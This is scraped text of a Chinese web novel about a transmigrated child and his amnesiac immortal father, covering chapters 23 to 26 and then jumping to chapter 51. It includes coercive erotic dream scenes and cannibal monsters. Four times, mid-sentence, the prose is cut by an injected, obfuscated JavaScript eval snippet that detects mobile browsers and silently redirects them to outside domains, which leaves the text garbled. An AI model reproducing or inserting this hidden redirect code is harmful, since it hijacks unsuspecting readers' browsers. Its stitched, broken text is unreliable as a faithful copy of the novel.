戚宝看沈不忘拎着锄头出门,问道:“爹,你要去采草药,救他吗?” 他有些犹豫,要不要告诉爹,其实这个人是装的。 小说里的渡妄软磨硬泡,装弱趁沈不忘不注意就开始双修。 小说里的儿子沈云戚,经常在那种时候睡得跟死猪一样,全然听不到身边的动静。 当然,渡妄不知道沈云戚是自己的儿子,还经常以儿子来威胁沈不忘就范,狠狠地做恨,十分狗血。 戚宝发现,他自己竟成了皇文NPC! “你在屋子里待着,烧热水,这事爹会解决的。”沈不忘道。 戚宝点点头,一步三回头的回去了。 沈不忘将门给关上,隔绝了戚宝的视线。 戚宝好奇的凑在门缝上往外看,他爹到底想干什么,总不能按照那小说里写的一言不合就开始……do吧。 他一时不知道该不该偷看,万一他爹跟魔尊真的在小柴房里开始那个了,他该怎么办?他只有四岁半啊,就要面对如此重大的人生问题。 戚宝正在犹豫,他应该打断他们,还是假装无事发生。 很快,他醒悟过来,他当然要阻止他们,两人若是出现一丢丢小火苗,他就立即泼冷水,禁止发展成干柴烈火。 他生平见不得别人欢好(不是),见不得他爹搞给(不是)。 电光火石之间,戚宝还出了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14782106|157266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 套评判标准,只要他爹在柴房里待了超过五分钟,就判定为在做前戏(……)。 戚宝开始在心里数数,数到100的时候,便从门缝里看到了他爹扛着人高马大的人出了门,一手还拿着锄头。 这是干什么? 戚宝犹豫了片刻,打开了门,悄悄跟在他爹的身后,打算看他爹到底要干什么。 他爹走路很快,很快就走的老远了,戚宝小跑着跟上,天色日渐黑了下来,戚宝远远的看到他爹终于选好了地方,将人丢在地上。 然后他爹就开始挖一块荒地。 戚宝:…… 戚宝不再往前面走了,他爹挖了一会儿,应该挖出了个坑,此时天色已经完全黑了下来,他看到他爹把人埋进了坑里。 就这么,埋了? 戚宝看着他爹扛着锄头往回走,戚宝赶紧往家里跑。 我去,这也……太果断了吧? 戚宝心里不由感慨,修无情道的人真的很绝情,他爹之前还将魔尊从山里救出来,怎么说都算是认识的人了,就这么埋了。 他又忍不住想,若是真是自己历劫的话,他爹会不会真把他杀了? 戚宝没有看完小说,真不知他跟他爹的决斗结局是什么? 他忧心忡忡的想着,心中泛起些许悲戚的涟漪,忽然感觉自己的小臂上传来一股灼热的火烧感觉。 他拉开衣袖看了一眼自己的小臂,上面红色的纹理竟然变得更复杂了,像是生长的藤蔓,从干巴巴的一个藤条开始生长出枝叶。 怎么会这样?小说里不是写他十岁的时候才会显示出魔族的印记。 戚宝忽然一个激灵。 “云戚,这么黑,怎么不点灯?”沈不忘的声音响起。 戚宝赶紧去找烛台,他爹接过,点上火。 灯火照亮他爹白皙的脸颊,暖黄色的光让他变得温暖起来,额头上也冒出了汗,外貌描写需要补一下温柔又温暖,根本不像是刚刚去埋了一个人。 他对于人世间的人情世故都不知道,对于旁人的评论也不在乎,所以做什么都是一副平淡的模样,也不会有愧疚感和伤心。 24.第 24 章 沈不忘见儿子默不作声,以为他吓到了,便又点了一盏灯,问道:“刚刚是不是吓坏了?” “也没有吧。”戚宝故作轻松的说道,随后又道,“一看到血淋淋的人出现在那,却是有点可怕,不过后来思考了一下就不怕了。” 戚宝看他爹蹲在灶台旁边添柴禾,他也蹲在他身边,下巴搭在他爹的膝盖上,盯着他爹看着,火光照亮他爹的脸。 沈不忘偏头看着傻小子,问道:“怎么这么看着爹?” “我觉得爹你长得真好看。”戚宝说道。 “云戚更好看。”沈不忘道,伸手摸了摸他的小脸。 戚宝小脸被熏得红红的,挠头道:“爹啊,你……”他一时不知道自己想问什么,随口说了句,“要不要也一起洗个澡吧,之后去京城赶路可能就没有地方洗了。” “嗯。”沈不忘觉得有道理。 戚宝洗的暖烘烘香喷喷的,躺在被窝里,很快就睡过去了。 沈不忘躺下后,半梦半醒的似乎感觉有人进来了,他可以感受到那人生气,却没有太强的危机感,他皱眉想要睁眼看。 意识却陷入沉睡。 他很少做梦,今夜却一直梦魇缠身。 一开始梦见的就是今晚的事情,他让戚宝离开小柴房。 躺在地上的男人被他扶了起来,男人根本没有死,他在装死,他的手十分不安分的抚着他的腰。 沈不忘便将他扛起来,现实里他一句话没说。 可是在梦里,他却话多得不得了。 “沈仙君,这是怕儿子看到,打算跟本尊野合?” “本尊受伤了,你最好快点,否则我就要死了。” 沈不忘将他丢在山脚下的沟里,正准备给他挖坑,男人却拉住他的脚踝,终于不装死了,用力一拉,将他拉进怀里。 如那日醒来一般,按着他的脑袋,吻上他的唇瓣。 “唔……”他呼吸不畅。 男人不让他反抗,这一次没有人打搅,他的动作越发放肆,很快翻身压上,禁锢着他的身体,脱掉身上的衣裳,低哑着说道:“你说了今日要与我双修的。” “我没……” 可是他却不听,幕天席地的,纠缠着他。 沈不忘皱着眉头,想要快点跳过这个梦。 下一个梦更香艳,可是他却记不得是什么时候的事,或许是他失去的记忆里的。 他被人缠着,那人低声在他耳边说什么,他听不清,咬牙切齿的呵斥:“不要……做多余的事情。” “什么是多余的事情,是摸你,亲你?还是guan满你?”那人邪笑着,双手紧紧的捏着他的腰。 他又恼又气,更多的是热,那种直冲脑海的热意。 “是你说要跟我双修的,这就受不住了?”那人发了狠,压下他,咬着他的嘴唇,凶猛的亲吻抢夺了他所有呼吸。 “沈君钦,死也要跟我在一起。” “我不会死,该死的是你。” “沈君钦!!!你骗我。” “我未对你承诺,谈何欺骗。” “沈君钦,我会找到你的,你别想摆脱我。” 沈不忘猛地从梦中睁开眼来,发现天色已经大亮,他坐起身来,发现身边的床铺已经空了,他看了一下自己身上的衣服,并无异常。 屋子里也没别人来过的样子,他暗暗松了一口气,怎么会做那样的梦? 他从山里醒来带着云戚来到荷花村生活的五年,他从来没有做过梦。 那是他的过去吗?那个人是谁? 这是他第一次好奇过去,门外传来的交谈声很快就打断了他的思绪。 戚宝说:“对的,我明天就走,家里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14786704|157266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东西……你想要啊,得拿铜板换。” “你小子,掉进钱眼里了。”张大婶骂骂咧咧的走了。 戚宝嘀咕了一句:“想白嫖还有道理了?” 戚宝去跟他爹说要把东西都给卖了,他爹答应了,之后又挨家挨户的道了别。 荷花村的人之前倒是很喜欢这对父子,但是当沈不忘来要钱之后,大家对他都颇有微词,现在见他要走了,又有些舍不得了。 次日一早,父子两便收拾上路了,路经那个埋人的小土包,戚宝不由多看了几眼。 他心里知道他不会死,却也默默在心里为他点根蜡烛。 希望你认清我爹的心,他也不会喜欢你的。 至于凡间历劫,我自会帮爹帮我自己找到新的生机。 戚宝雄心壮志,沈不忘见他磨磨唧唧的不走路,问了句:“云戚,是不是走不动了?” “来咯。“戚宝赶紧小跑着跟上牵着他爹的手。 大年初三,天气晴好。 沈君钦背着行礼,牵着孩子,离开了这生活五年的荷花村。 日落时分,二牛从外婆家拜年回来,手里还拿着热乎的红薯,怀里揣着拜年红包,开开心心的往村子里走。 到了村口,昏暗中忽然看到了一个人影,身材高挑,站立如松柏。 二牛喊了一声:“沈叔叔,你不是带小戚去京城了吗?怎么又回来了?” 太阳的最后一丝光线消失,二牛看到了“沈不忘”偏了一下头,那场面十分怪异,他心里觉得不对劲,目光往下,便看到了他手中拿着一柄剑。 剑尖上的血迹不断地往下滴,二牛这才嗅到了空气中汹涌的血腥气。 “沈叔叔,你……”二牛一句话未说完,便觉得面前寒光一闪,漫天血雾。 村里的炊烟还在升起,一如之前的每一日一般。 25.第 25 章 时间一晃便过了两个月,戚宝终于知道为什么陈秋生要这么早出门去奉天城了。 奉天城便是王朝的都城。 这个修真世界跟他前世的地球不一样,地图大得没边,估计是专门为那些仙人设计的,流弊的修仙者,天涯海角不过是方寸之地。 对他跟他爹来说,骑着马都颠簸的要死。 这座山,那马儿还不愿意上来,只能在山下的驿站给卖了,补了一些干粮。 戚宝跟他爹在山上徒步一个月了,风餐露宿,天气又冷。 戚宝已经从漂亮小男孩变成了小野人。 这话虽有些夸张,但戚宝真的真的很想很想告诉他爹,你其实是仙人,你带我飞吧。 戚宝还是没说,他到了人间,好像不太会使用仙法,只能使命剑。 修真界第一强者,现在在山上当野人。 “云戚,前面有座山神庙,今夜便在那过夜。”沈不忘对戚宝道。 戚宝有气无力的应了声,趴在他爹的肩膀上当树懒宝宝,他爹依旧容光焕发,丝毫不见颓靡的模样。 他决定收回之前那句话。 当野人的只有他自己,他爹还是漂亮老爹。 山神庙废弃已久,牌匾都被劈成了两半,戚宝凭着人类巅峰知识高三学历,只认识一个神字,字体不同不怪他。 进去一看,发现山神石像被人砍了头,只剩一个石像的身体坐落原地,垂落的红布上布满了蜘蛛网,看上去十分诡异。 这里的人不信神吗? 不过走近一看,发现供台上竟然还有新鲜的贡品,应该是送来不久的,不超过五天,是一些素饼。 沈不忘拾取了一些木柴,在庙里生了火。 又去庙门口的水井打了水,烧了点热水给戚宝擦了擦脸,洗了洗手。 戚宝病恹恹的,靠在他爹的腿上,问道:“爹,我们什么时候能下山啊?是不是遇上鬼打墙了?” 沈不忘忽然环顾了一下四周,最后目光落在那个半截神像上,蹙眉道:“我想我们明天就可以下山了。” “真的吗?”戚宝顿时来了精神,大喊一声道,“我要吃莲藕排骨汤,还要吃烤鸭!!” 沈不忘笑道:“我现在就能去给你抓个飞禽来。” 戚宝欲言又止,不是说爹的厨艺不好,但实在是山里没有调料,就算搞点酸野,那也只是酸味,没有盐。 难怪他天天有气无力的,因为缺少盐啊! 他爹就不一样了,差一步都飞升了,早就进了辟谷期,根本不需要吃东西。 现在只是失去了当仙人的记忆,所以才陪他一起吃饭。 “爹,你别出去了,我们明天就下山。”戚宝抱着他爹的胳膊。 沈不忘应好,于是就去把贡品的饼子拿过来,就着火烤热了,拿给戚宝吃。 戚宝一边吃一边问道:“这里真的有山神吗?” “没有。”沈不忘道。 戚宝吃完饼子,稍微有了点力气,跟他爹相互依偎着,时不时说两句话,天南海北的乱聊,毕竟在山里一个多月了,每天发生什么双方都知晓,便没了新话题。 沉默了良久。 沈不忘忽然问了句:“云戚,你怎么不提找娘了?” 戚宝有些尴尬,之前一直想要个圆满的家庭,当然也是希望自己这么好的爹能够幸福快乐,而不是一个人冷冷清清的。 所以他一心想要找到自己的“娘”,自从知道了自己进了那本小说里,知道了他爹确实又当爹又当娘便再也没有提过了。 人生目标变了啊,从找娘变成了希望他爹为了自己不要杀了另一个爹。 不过他的变化,在他爹看来,或许很突兀。 戚宝见他爹看着他,似乎在考虑为什么。 戚宝随便找了个理由,道:“想到被柳音骗了,我就很难受,我怕再找又是个骗子。” 沈不忘点点头,没有评价。 戚宝瞥了他爹一眼,小声问道:“爹,你想找娘了吗?” “不是,只是觉得若是去了奉天城,兴许找人能更方便一些。”沈不忘回道。 戚宝松了一口气,无所谓的拜拜手道:“还是安身立命更重要。” 这话说完,两个人又沉默了一会。 夜里的山林很是静谧,除了风声便是乌鸦的啊啊叫声,树林茂密,遮天闭月,今晚却有月亮从树荫中洒落。 “沙沙……沙沙沙……” 由远及近的,踩踏着枯枝落叶的脚步声靠近。 戚宝低声唤他爹:“有东西靠近。” “别担心,是人。”沈不忘自然也听到了。 话音刚落,来人便走到了寺庙门口,对方敲着门,急匆匆的说道:“我可以来借宿吗?” 这声音竟然很熟悉。 “这地方又不是他们的。”另一个粗犷的声音较为蛮狠。 那人谦和有礼的说道:“话不能这么说,别人先到……” “秋生叔叔,是你吗?”戚宝问了句。 陈秋生立即惊喜的推开了门,看到戚宝和沈不忘的时候顿时眼睛都亮了起来,道:“云戚,沈大哥,竟然是你们?” 他身后的高大壮男人也跟着进来了,满脸横肉,腰间还带着一把配刀。 此人一进屋子,戚宝便下意识的往沈不忘怀里靠了靠,他闻到了一股很臭的腐烂味道。 陈秋生也十分潦草,身上衣服脏的看不出颜色了,头发也乱糟糟的。 戚宝瞬间又觉得自己是漂亮小孩了,眼前的陈秋生才是活脱脱的野人。 “秋生叔,你不是早就走了吗?听说还跟镖局一起走的。”戚宝说着递上了一个素饼给陈秋生。 陈秋生毫无形象的将已经打柳的头发往两边一拨,伸出黑爪子拿过烧饼,道:“别提了,我们困在这山里已经一个多月了,跟镖局的人走散了,就我跟李大哥相依为命。” 李巡抱拳,声如洪钟的道了句:“李巡。” 他锐利的目光盯着沈不忘,虎视眈眈的似乎在思索什么,沈不忘看过来时,李巡便问:“你们是两个人上山的吗? 戚宝应道:“对呀,我跟我爹都在山上呆了一个月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14790725|157266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多月了,都快成野人了。” 李巡目光在两个人穿梭着,冷笑一声道:“看着不像。” 沈不忘冷冷的扫了一眼此人,这一看才发现此人浑身染着一股冷冷的死气,魂魄不离体,手上又沾染了无数人命,许多孽萦绕在他眉宇间。 陈秋生吃了一大口饼子,喝了一口水,道:“这山真的很邪门,就是找不到下山的路,这风餐露宿的我还以为我要死在这里,山上又冷又饿的,好在有李大哥照料,刚刚远远看到这里有火光,我就知道有人。”?戚宝点点头,在山里确实很难受,要不是他有爹在,他肯定撑不下来的。 沈不忘拿着木棍拨了一下火堆,噼里啪啦的,木柴烧裂的响声响起,沈不忘忽然问了句:“你们一个多月吃的是什么?” 陈秋生啃烧饼的动作顿了一下,解释道:“我就挖野菜,李大哥还会打一些猛禽野味,李大哥还自己带了腊肉……” “陈公子。”李巡忽然打断了他的喋喋不休,李巡锐利的目光看着沈不忘,问道,“你想问什么?” 沈不忘无所谓的说道:“没什么,只是好奇跟你们走散了的镖局其他人去了哪里。” 李巡哼笑一声,道:“走散了便是走散了,生死未卜。” “嗯。”沈不忘颔首。 李巡见他这般轻飘飘的态度,不由恼火道:“那你带着孩子,这一个月在山上吃什么?” “我们有干粮。”戚宝抱住自己的小包袱,里面都是他们带着的干粮。 在山下的时候还补了很多,他爹几乎不怎么吃东西,全都给他吃,一个小孩也吃不了多少,唯一的问题就是食物单一容易营养不良。 李巡看着戚宝,扯唇笑了笑,露出一嘴漆黑的大牙齿,看着怪渗人的。 陈秋生张嘴吃着烧饼,听着李巡和沈不忘你来我往的对话,一时没有反应过来。 他吃饱喝足了,打了水洗了把脸,将自己乱糟糟的头发也清理了一番。 他后知后觉的意识到了什么,见李巡去外面打水了,便凑到收拾稻草准备睡觉的沈家父子身边。 戚宝跟他爹说:“爹,晚上你要抱着我睡。” “好。”沈不忘应道。 “小戚,你这么大了还跟爹爹撒娇了。”陈秋生憨憨的笑着。 戚宝斜眼瞥了一眼陈秋生,心道你懂个屁,你傻乎乎的没有被李巡当口粮吃掉,已经是不幸中的万幸了。 尤其现在还是冬天,夜里冷得很,戚宝素来都是被沈不忘搂在怀里睡的,不过今晚特地提示了一下,就怕他爹晚上睡太熟松手了。 陈秋生压低了声音,问道:“沈大哥,你刚刚问那些,是不是……有什么想法啊?” 沈不忘未言语,戚宝问了句:“那你吃了李巡的腊肉了吗?” “没有没有,那是他老母亲给他的,我吃点草就行了。”陈秋生赶忙矢口否认。 戚宝松了一口气,正要说什么,那李巡便推门走了进来。 陈秋生便闭嘴了,晚上要挨着戚宝他们睡。 李巡只是冷冷的看了他们一眼,没说什么。 26.第 26 章 一夜无事发生,三个大人却未睡着。 戚宝睡得安稳,早上起来的时候元气满满,想着今天就能下山了,心情十分美妙,还哼起了小曲儿。 陈秋生顶着大黑眼圈,看上去昨晚没有睡好,走路直打飘。 李巡收拾好自己的行囊,道:“陈公子,今日天气大好,我们走吧。” “我……我打算跟我邻居一道上路。”陈秋生鼓足了勇气,终于开口。 李巡冷酷的目光在三人脸上扫了一圈,露出一个笑容道:“好啊,那就一起走吧,也不知道多久能够下山。” 戚宝听这话的意思,就觉得他肯定把他们当储备粮了。 不好意思,我告诉你,你惹我爹可算是踢到钉板了。 “我们今天就可以下山。”戚宝回他。 李巡无所谓的耸耸肩,道:“还是考虑一下待会中午吃什么吧。” 陈秋生缩了缩脖子,不敢吱声。 沈不忘牵着戚宝的手,离开了神庙,朝着外面走去。 冬季的森林,草木萧条,落叶早就掩盖了下山的道路,不过他们却辨认出了一条下山的道路。 脱离了山林,回头看时,才惊觉这一个月恍如隔世。 下午,他们走到了官道上,山里的路却铺着石板,看上去倒是精致。 戚宝此时又变成了树懒宝宝,趴在他爹的肩头,不过却不忘回头对李巡道:“我爹早就说过了今天可以下山。” 李巡森冷的眸子盯着戚宝,忽然哼笑了一声道:“算你们走运。” 言下之意便是,若是今日下不了山,他们父子也会成为他的口粮。 陈秋生觉得自己背脊发麻,赶紧加快了脚步,走到了最前头。 顺着官道又走了两个时辰,他们终于见到了一处建筑。 一座宏伟的古刹,牌匾上写着“无相寺”三个烫金大字,显得十分威风。 哦豁,戚宝对这个寺有印象,原文小说里有名的大寺庙,有道法高强的佛修在此坐镇,十分了得。 一行人去了寺庙敲门,很快便有小沙弥来敲门,听说他们要来借宿,便带着人进去了。 交谈间得知他们在山上徘徊了一个月,脸色的变得有些微妙,随后又听说他们几人昨夜在山上的神庙里过夜的,微妙的神色变得惊诧,停步驻足细细打量着他们。 “几位施主,我带你们去见主持。”小沙弥道。 戚宝有些莫名其妙的,那个山有什么了不得的吗? 小沙弥带着几人去大雄宝殿,一边道:“主持,这里有几个人从巍山活着下来了,昨夜还在引渡神的庙里过夜!!” “大呼小叫的不成体统。”一个年长的和尚训斥道,敲打了三峡他的圆脑壳。 “可是……他们说他们在山上徘徊了一个月才下来的。”小沙弥摸着脑袋无辜的说道。 大和尚这才露出诧异的神色,且不说天寒地冻的,这一个月在山上怎么活下来,就说那鸠占鹊巢的引渡神,可是索人性命的鬼怪。 大和尚安排道:“你先带几位施主去梳洗一番,主持有要事,明日早课再来。” “好。”小沙弥立即应道。 父子二人给了小沙弥一些香油钱,让他安排好一些的厢房。 无相寺好像来了不少人,客房都住满了,只剩一间北院的单独屋子,倒也不必住大通铺。 时隔许多,终于洗上了热水澡,戚宝差一点被他爹搓掉一层皮,从脏兮兮的破小孩又变得雪白干净,香喷喷。 戚宝恢复了出厂设置,他整个人都冒着水汽,躺在床上,感觉终于活过来了。 “若是现在有斋菜吃就好了。”戚宝在床上翻了个身,就看到他爹泡在浴桶里沐浴。 戚宝欣赏了一下漂亮爹爹,正要睡觉,便瞥到窗外的人影一闪,顿时有些恼了,心里嘀咕道:谁啊?该不会来偷看我爹洗澡的变态吧? 戚宝穿了衣服起身,自己换好鞋子,对他爹道:“爹,我去找点吃的来,你慢慢洗。” “乖崽,你别乱跑。”沈不忘回身,看到小家伙已经开门出去了。 嘴上倒是应道好,戚宝根本没有在怕的。 这可是大寺庙,不会有什么妖魔鬼怪作祟的,只有偷看爹洗澡的变态!他要把人逮住! 戚宝走路脚步匆匆,因为还是冬季,日短夜长,洗了个澡之后天色便已全黑了下来,只有隔一段路的烛火照亮着前路。 幽幽的红光,戚宝不太看得清,该不会营养不良得了夜盲症吧。 戚宝听到前头有奇怪的啧啧水声,好奇的埋了一步,准备朝着那边走去。 猛地,手臂被人拽了一下,他被往后拖去。 在他叫出声之前,对方直接捂住了他的嘴巴。 “唔。”戚宝张着嘴巴,打算咬他一口。 “嘘,小点声儿,你这小屁孩真不怕死。”少年声音压得很低。 黑暗中的少年也不是很高,约莫比戚宝高出一个头,应该也是不大的小孩,此时却老气横秋的叫他小屁孩。 戚宝不服气,他的心理年龄比他两倍不止! 大小孩道:“你没头没脑的到处乱跑,当心被吃了。” “唔唔。”戚宝想说话,嘴巴却被捂得紧紧的。 “你要答应我,不能大喊大叫。”大小孩拧眉。 戚宝点点头。 大小孩试探着松开手,并未拿远,只要他敢叫便会立即捂上来。 戚宝没有那么不识抬举,眨巴着大眼睛看着眼前的人,黑暗中虽然看不清来人的长相,却知道这是一个相貌十分出众的小孩。 大小孩探头探脑的朝着拱门外看去,戚宝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14798527|157266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也凑过去看。 大小孩比他高,将他脑袋往后按。 戚宝不服气,我就要看。 于是他便看到两个人啃在一起,背对着他的是一个姜黄色佛袍的秃头和尚,压在下面的是个身材高大的男人,不是和尚。 戚宝顿时有些尴尬了,撞上了别人办事。 大小孩拉着戚宝往后退了几步。 戚宝沉默着,大小孩看戚宝默不作声,一副老子看透你来的姿态说道:“你也别有心理障碍,他们不是在办事,那和尚在啃人脸皮,吃人了。” “……这不是寺庙吗?还闹这些?”戚宝小声嘀咕道。 大小孩臭屁道:“那怎么了?妖魔横行,吃人的妖怪到处都是,仙家宗门都除不过来了。” “那这是什么鬼怪啊?”戚宝见他知道的好像挺多的,又问。 大小孩道:“就是画皮吧,明天就会换皮了,山上有个引渡神知道吗?” 戚宝点头,怕他看不到,说了句:“知道。” “那不是神,是一个邪魔无处可去,附身在石头上,后来给失魂的财主的魂魄带回去了,于是山下的镇上便给他修了石像。”大小孩说了顿了一下,“后来专门吃死人的魂魄,等到修为高了,便开始吃活人的生魂。” 戚宝听得心惊肉跳的,忐忑的问道:“那跟庙里这啃人脸皮的鬼怪有关系吗?” “没有关系。”大小孩淡定的说道。 戚宝懂了,他只是为了装逼,这行为倒是很像他认识的一个人。 大小孩又悄悄探头回去,看了一眼那个食人僧,他啖尽血肉,很快便化身为被吃掉的那人,穿上了那人的衣服。 戚宝盯着大小孩的脸看了半响,他似乎沉浸在自己的世界中,自言自语的嘀咕了一句:“明天还要玩剧本杀吗?” 戚宝心中震撼不已,原本只是有有七分确定,现在已经九成九的确定他是谁了。 贺兰忱!肯定是他! 这家伙也跟自己一样穿书了吗? 戚宝心里有些开心,又有些犹豫,思索着自己要不要跟他相认。 外面又传来脚步声,大小孩赶紧拉着戚宝的手腕,拉着他跑到有光线的地方去了。 贺兰忱低声道:“你快回去吧,别到处乱跑。” “爹。”戚宝忽然低声唤了一声。 贺兰忱却得意一笑,道:“这么客气干嘛,我没有你这么大的儿子。” 戚宝推开他,赶紧朝着外头走去,他看着他爹了。 贺兰忱也悄然追上他,随后又拉住他,在他耳边恶魔低语道:“那是你爹吗?你爹也要被怪物吃掉了。” 戚宝压低的声音道:“才不会。” 不过他爹确实被一个人摁住,压在墙壁上,如之前那个啃人脸皮的邪僧一样,被那个高大的人摁着啃。 50-60 第 51 章 爹不走了,爹要成家立业…… 客栈被大将军包下来征用了, 所有客人都得离开云来客栈。 戚宝一早起来脸都没洗头发都没梳,便被护卫禁军“请”出了客栈,说是请, 实则就是赶出门了。 戚宝甚至都没有睡醒, 揉了揉眼睛, 打了个哈欠,背着自己的小包袱。 戚宝还安慰他爹道:“没事, 正好我们可以住个更贵的客栈,我发财了。” “嗯。”沈不忘倒是淡定。 父子两将京城的客栈都走了一圈, 所有的店家都是说住满了,没有位置。 他们刚刚走出来,又进去了一个外乡人,询问是否有房间,小二立即便开开心心的迎了进去。 “你不是说客满了吗?他们怎么可以住?”戚宝愤怒的站在凳子上, 将柜台拍的砰砰作响, 手都拍疼了。 掌柜的假装看不到他,开始做账。 沈不忘从腰间给出了一锭金子,现在他们发财了,有五千两黄金,已经不花碎银子了! “说。” 掌柜的眼睛一亮, 将金子摸进了袖子,压低了声音道:“公子,虽然收了你的金子,可小店也不能让你们住,因为你们得罪了不该得罪的人。”掌柜的指了指上面。 “啊?”戚宝拧眉,心想肯定是袁不焕干的。 沈不忘却另有想法。 不过不管是谁干的,他们现在都没有地方可以落脚了, 就算吃饭也不能去酒楼吃,只能去下九流聚集的桥边吃一碗馄饨。 现在他们真是身怀几千两黄金却无家可归只能流浪。 吃过午饭,戚宝打算继续去找地方落脚,找个过夜的地方,沈不忘却道:“不急,我们现在这等着。” 戚宝颇有些不解,等谁啊? 桥头有说书的人,只要二钱就能听一下午的故事,父子俩跟这里的贩夫走卒完全不同,不停地有人拿奇怪的目光打量他们,即便是天子脚下也会有治安不好的地方。 现在还是青天白日的,所以大家按捺住了心思,等到天色暗下,便是他们倒霉的时候。 戚宝听故事听得入神,故事讲的是传说的神话故事,说的是一个神仙为了救所爱之人,背负了万劫,至今还被镇压在海底,他还渴望着重新回到天上,跟自己心爱之人相聚,正日复一日的搭天梯。 说完后,引得所有人喝彩打赏。 戚宝意犹未尽,问说书先生:“那这个故事的结局是什么?神仙跟他心爱之人重逢了吗?” “尚未到结局。”说书先生道。 戚宝道:“故事没有结局那不是烂尾了吗?又不是真实发生的事情。” 说书先生哼了一声,道:“无知小儿,这便是真实发生的故事。” 戚宝:…… 行,他差一点忘记这是个仙侠世界,神话故事是真事也正常。 听完故事,天色也暗了下来,到了散场的时候。 戚宝背着小包袱,起身准备离开,沈不忘却不动,戚宝还疑惑道:“爹,我们不走吗?” 话音刚落,一群人便将他们团团围住,道:“想走去哪里啊?留下银子,才能走。” 戚宝:“你们是打劫的吗?” “说打劫多不体面,只是兄弟我最近手头紧,借点银子来花花。”为首的男人人高马大的,身后还跟着几个壮汉。 戚宝愣了一下,天真的问道:“借钱还会还吗?” “哈哈哈,小娃儿,你说话可真有趣。”众人哈哈大笑起来。 戚宝无奈的摊手,道:“是这样的,我们没有银子。” “你敢糊弄老子,也不去打听打听我老虎帮在城西一带的名号,要么留下银子,要么留下两条腿。”男人凶神恶煞的说道。 戚宝赶紧抱着爹的大腿。 沈不忘也没有要跟他们打架的意思,只是默默的站着。 就在此时,有人喊了一声,道:“你们做什么?天子脚下,还想造反了不成?” 来人谢明堂,他的护卫一下子变赶走了找茬的恶棍,提着衣摆跑得屁颠颠的来到父子两面前,道:“你们没事吧?找了你们一天了,听说袁将军下令不让你们住客栈。” 戚宝顿时怒道:“我就知道是袁不焕。” 沈不忘默默的看了一眼谢明堂,道:“确实无处可去。” “既然你们不能住客栈,不如去我家住着吧。”谢明堂立即大献殷勤。 沈不忘也没有说要不要去,没有开口。 谢明堂又觉得邀人去家中住不太好,便又说家里有一处别院空着,可以去那住着。 戚宝听到,立即婉拒道:“不用了,我跟我爹打算……” “那就多谢谢兄了,在府上劳驾。”沈不忘却直接打断了戚宝的话,应下了谢明堂的邀请。 戚宝目瞪口呆,他爹真的要住到谢明堂的别庄去吗? 谢明堂立即乐的找不到北了,赶紧摆手道:“不客气不客气,毕竟相识一场,也是朋友。” 沈不忘笑笑不言语。 谢明堂替他们拿过行礼,笑容满脸的。 戚宝挠头,这是又唱的哪一出? 国公爷的别院是跟国公府连在一起的,虽比不上国公爷的府邸那般奢华,却也十分气派,三进的宅子,氛围东西厢房,院子里还修了小花园里面种了不少观赏的莲花,这个季节已经含苞待放了,池塘里几尾锦鲤摇曳着尾巴游着。 来时正好看到锦鲤跳起来咬住了花瓣,沈不忘不由多看了一眼。 谢明堂一路上都十分亢奋雀跃,到了他的主场地,开始跟他们介绍:“待会给你们安排一些下人来供使唤,一日三餐的话可以直接去国公府上吃,也可以送来这里,沈兄,你看?” “都可。”沈不忘好脾气的说道。 谢明堂顺杆往上爬道:“那送来这里,我跟你们一道吃。” “好。”沈不忘含笑道。 戚宝观察着两人你来我往有问有答的,他爹竟然对谢明堂这么好和颜悦色,十分不对劲。 他爹变了。 谢明堂离开的时候还哼着小曲,戚宝看他走远了,才问沈不忘道:“爹,你之前不是说要带我去仙山吗?我不如早点出发吧,反正现在京城也无我们容身之地?” “不走了。”沈不忘坐下,神色从容道。 戚宝疑惑的问道:“不走,那留在京城做什么?” “爹要在这成家立业。”沈不忘说道。 “啊?”戚宝心里咯噔一下,赶紧问道,“那你跟颜渡叔叔,跟谢明堂……” “他不好吗?”沈不忘疑惑的问戚宝,这个他也没有说是谁。 戚宝心有咯噔了一下,果然事出反常必有妖,难不成他爹昨天就是想要追求颜渡,结果他要成亲了所以放弃。 